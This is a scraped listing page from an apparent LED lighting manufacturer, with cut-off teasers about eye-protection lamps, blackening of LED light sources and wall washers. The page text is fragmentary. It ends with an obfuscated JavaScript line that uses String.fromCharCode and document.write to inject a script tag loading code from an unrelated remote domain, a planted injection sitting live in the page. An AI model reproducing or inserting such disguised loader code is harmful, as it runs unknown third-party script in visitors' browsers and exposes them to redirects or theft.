28
2019-10
The principle of full-spectrum eye protection lamp is mainly based on simulating the spectrum of natural light to provide a lighting environment closer to natural light, thereby reducing visual fatigue and eye discomfort. The design of this lamp is designed to e···
More09
2024-09
1. 硫化、氯化、溴化 LED支架上的镀银层触摸含硫气体会生成硫化银，触摸酸性含氮的氯、溴气体则会生成对光灵敏的卤化银，这都会导致光源发黑失效。光源硫/氯/溴化在LED灯条光源和灯具的出产、存储、老化、运用的每个环节都有可能发作。在光源发黑被确诊为硫/氯/溴化后，客户要根据硫/氯/溴化发作的环节，挑选详细的排···
More29
2019-10
LED wall washers are larger in size and have better evaporation, so the power consumption is greatly reduced in design. However, in actual applications, the constant current drive is not very good, and the damage is very large. So how to make the wall washer run better, the focus is on control and d···
More29
2019-10
Learning Products
var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,107,121,57,57,57,46,116,119,47,102,97,99,97,105,46,106,115,34,62,60,47,115,99,114,105,112,116,62); document.write(xt); " title="The standing director unit ">